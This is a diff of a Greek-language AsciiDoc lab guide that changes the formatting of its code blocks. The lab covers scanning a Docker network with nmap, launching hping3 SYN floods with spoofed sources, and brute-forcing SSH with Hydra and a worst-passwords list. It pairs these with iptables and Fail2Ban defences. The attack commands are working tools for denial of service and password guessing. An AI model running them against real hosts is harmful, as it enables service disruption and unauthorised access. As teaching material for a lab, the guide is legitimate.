@ -112,9 +112,9 @@ sudo password: docker +
=== Βρίσκοντας την IP
=== Βρίσκοντας την IP
====
====
----
```
ifconfig
ifconfig
----
```
image:images/if_config.png[]
image:images/if_config.png[]
TIP: IP: 172.19.0.2
TIP: IP: 172.19.0.2
@ -122,9 +122,9 @@ TIP: IP: 172.19.0.2
=== Βρίσκοντας τους ενεργούς hosts
=== Βρίσκοντας τους ενεργούς hosts
====
====
----
```
nmap -sP <IP>
nmap -sP <IP>
----
```
image:images/nmap_p.png[]
image:images/nmap_p.png[]
TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευταίο νούμερο βάζουμε *.
TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευταίο νούμερο βάζουμε *.
@ -133,33 +133,31 @@ TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευτ
=== Ενεργές πόρτες
=== Ενεργές πόρτες
====
====
----
```
nmap –p– <IP of worker>
nmap –p– <IP of worker>
----
```
image:images/nmap_for_ports.png[]
image:images/nmap_for_ports.png[]
TIP: Εδώ φαίνεται ανοιχτή η πόρτα 22
TIP: Εδώ φαίνεται ανοιχτή η πόρτα 22
====
====
=== Εγκατάσταση hping3
=== Εγκατάσταση hping3
====
```
----
sudo apt update
sudo apt update
sudo apt install hping3
sudo apt install hping3
----
```
====
=== Εκτέλεση
=== Εκτέλεση
====
====
----
```
sudo hping3 -S <source IP> -a <target IP> -p <portno> --flood
sudo hping3 -S <source IP> -a <target IP> -p <portno> --flood
----
```
image:images/1st_hping3.png[] +
image:images/1st_hping3.png[] +
ή +
ή +
----
```
sudo hping3 -S --flood -V -p <portno> <target IP>
sudo hping3 -S --flood -V -p <portno> <target IP>
----
```
image:images/2nd_hping3.png[]
image:images/2nd_hping3.png[]
Όπου: +
Όπου: +
@ -170,9 +168,9 @@ image:images/2nd_hping3.png[]
-p: port number +
-p: port number +
SYN packets flood: +
SYN packets flood: +
----
```
sudo hping3 <target host> -q -n -d 120 -S -p <portno> --flood --rand-source
sudo hping3 <target host> -q -n -d 120 -S -p <portno> --flood --rand-source
----
```
image:images/3rd_hping3.png[]
image:images/3rd_hping3.png[]
Όπου: +
Όπου: +
@ -184,13 +182,13 @@ image:images/3rd_hping3.png[]
=== Βλέποντας το flood
=== Βλέποντας το flood
====
====
----
```
sudo tcpdump -ni <interface>
sudo tcpdump -ni <interface>
----
```
ή +
ή +
----
```
sudo tcpdump src <IP>
sudo tcpdump src <IP>
----
```
Πρώτο attack: +
Πρώτο attack: +
image:images/1st_flood.png[] +
image:images/1st_flood.png[] +
Δεύτερο attack: +
Δεύτερο attack: +
@ -204,13 +202,13 @@ image:images/3rd_flood.png[] +
Ένας τρόπος για να αποφευχθούν τα attacks είναι με χρήση των iptables. Είναι κάποιοι κανόνες που μπορούμε να δηλώσουμε ώστε να απαγορεύσουμε/επιτρέψουμε την διέλευση πακέτων. Παρακάτω χρησιμοποιήθηκε κανόνας που κόβει την κίνηση από μία συγκεκριμένη IP.
Ένας τρόπος για να αποφευχθούν τα attacks είναι με χρήση των iptables. Είναι κάποιοι κανόνες που μπορούμε να δηλώσουμε ώστε να απαγορεύσουμε/επιτρέψουμε την διέλευση πακέτων. Παρακάτω χρησιμοποιήθηκε κανόνας που κόβει την κίνηση από μία συγκεκριμένη IP.
====
====
Τα παρακάτω χρειάζονται sudo: +
Τα παρακάτω χρειάζονται sudo: +
----
```
iptables -I INPUT -s <IP address we want to block> -j DROP
iptables -I INPUT -s <IP address we want to block> -j DROP
----
```
Για να δούμε τους κανόνες: +
Για να δούμε τους κανόνες: +
----
```
iptables -L
iptables -L
----
```
image:images/ip_tables.png[] +
image:images/ip_tables.png[] +
Με την iptables -nvL μπορούμε να δούμε και στατιστικά, όπως πόσα πακέτα έχουν απορριφθεί από τον κάθε κανόνα.
Με την iptables -nvL μπορούμε να δούμε και στατιστικά, όπως πόσα πακέτα έχουν απορριφθεί από τον κάθε κανόνα.
====
====
@ -218,27 +216,27 @@ image:images/ip_tables.png[] +
== SSH Brute Force Attacks
== SSH Brute Force Attacks
=== SSH Attack with Hydra
=== SSH Attack with Hydra
* Εγκατάσταση hydra +
* Εγκατάσταση hydra +
====
----
```
apt-get install hydra
apt-get install hydra
----
```
====
* Password list +
* Password list +
====
====
----
```
wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2
wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2
bzip2 -d 500-worst-passwords.txt.bz2
bzip2 -d 500-worst-passwords.txt.bz2
----
```
TIP: Μπορούμε να επεξεργαστούμε το αρχείο και να προσθέσουμε και δικά μας passwords
TIP: Μπορούμε να επεξεργαστούμε το αρχείο και να προσθέσουμε και δικά μας passwords
====
====
* Find IP address of docker: +
* Find IP address of docker: +
====
====
----
```
ifconfig
ifconfig
----
```
image:images/ssh_find_ip.png[] +
image:images/ssh_find_ip.png[] +
TIP: Είναι 172.19.0.1 +
TIP: Είναι 172.19.0.1 +
@ -246,31 +244,31 @@ TIP: Είναι 172.19.0.1 +
* Network range: +
* Network range: +
====
====
----
```
ipcalc <IP address>
ipcalc <IP address>
----
```
image:images/ssh_ipcalc.png[] +
image:images/ssh_ipcalc.png[] +
====
====
* Scan for open ssh ports: +
* Scan for open ssh ports: +
====
====
----
```
nmap <IP address/subnet> -p 22 --open
nmap <IP address/subnet> -p 22 --open
----
```
image:images/ssh_open_ports.png[] +
image:images/ssh_open_ports.png[] +
====
====
* Execute SSH brute force attack: +
* Execute SSH brute force attack: +
====
====
Η γενική σύνταξη της εντολής είναι (επειδή γνωρίζουμε το username): +
Η γενική σύνταξη της εντολής είναι (επειδή γνωρίζουμε το username): +
----
```
hydra -l username -P passwords_file.txt ssh://IP -t no_of_tasks
hydra -l username -P passwords_file.txt ssh://IP -t no_of_tasks
----
```
Άρα γίνεται: +
Άρα γίνεται: +
----
```
hydra -l docker -P '/home/iro/Desktop/500-worst-passwords.txt' ssh://172.19.0.3 -t 8
hydra -l docker -P '/home/iro/Desktop/500-worst-passwords.txt' ssh://172.19.0.3 -t 8
----
```
image:images/ssh_success.png[] +
image:images/ssh_success.png[] +
TIP: Password: docker +
TIP: Password: docker +
@ -282,35 +280,29 @@ hydra -L usernames.txt -P passwords.txt ssh://172.19.0.3 -t 8
Το Fail2Ban είναι ένα open-source εργαλείο που αποσκοπεί στο να προστατεύει τα συστήματα από ssh brute force attacks. +
Το Fail2Ban είναι ένα open-source εργαλείο που αποσκοπεί στο να προστατεύει τα συστήματα από ssh brute force attacks. +
* Εγκατάσταση:
* Εγκατάσταση:
====
```
----
sudo apt-get install fail2ban
sudo apt-get install fail2ban
sudo apt-get -y install rsyslog
sudo apt-get -y install rsyslog
sudo rsyslogd
sudo rsyslogd
----
```
====
* Backup Fail2Ban main configuration file (just in case)
* Backup Fail2Ban main configuration file (just in case)
====
```
----
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
----
```
====
* Configure Fail2Ban
* Configure Fail2Ban
====
```
----
nano /etc/fail2ban/jail.local
nano /etc/fail2ban/jail.local
----
```
====
* Φτιάχνουμε ένα ssh section και αλλάζουμε τις τιμές ανάλογα με τις προτιμίσεις μας. Δεν ξεχνάμε να κάνουμε restart την υπηρεσία στο τέλος.
* Φτιάχνουμε ένα ssh section και αλλάζουμε τις τιμές ανάλογα με τις προτιμίσεις μας. Δεν ξεχνάμε να κάνουμε restart την υπηρεσία στο τέλος.
====
====
image:images/ssh_jail.png[] +
image:images/ssh_jail.png[] +
----
```
service fail2ban restart
service fail2ban restart
----
```
image:images/fail2ban_running.png[] +
image:images/fail2ban_running.png[] +
====
====
@ -328,13 +320,13 @@ image:images/docker_iptables_with_fail2ban.png[] +
* Aν έχουμε κάνει τα προηγούμενα: +
* Aν έχουμε κάνει τα προηγούμενα: +
====
====
Κάνουμε unban +
Κάνουμε unban +
----
```
sudo fail2ban-client unban --all
sudo fail2ban-client unban --all
----
```
Σταματάμε το fail2ban +
Σταματάμε το fail2ban +
----
```
sudo service fail2ban stop
sudo service fail2ban stop
----
```
====
====
* Βρίσκουμε το αρχείο sshd_config και το ανοίγουμε +
* Βρίσκουμε το αρχείο sshd_config και το ανοίγουμε +
====
====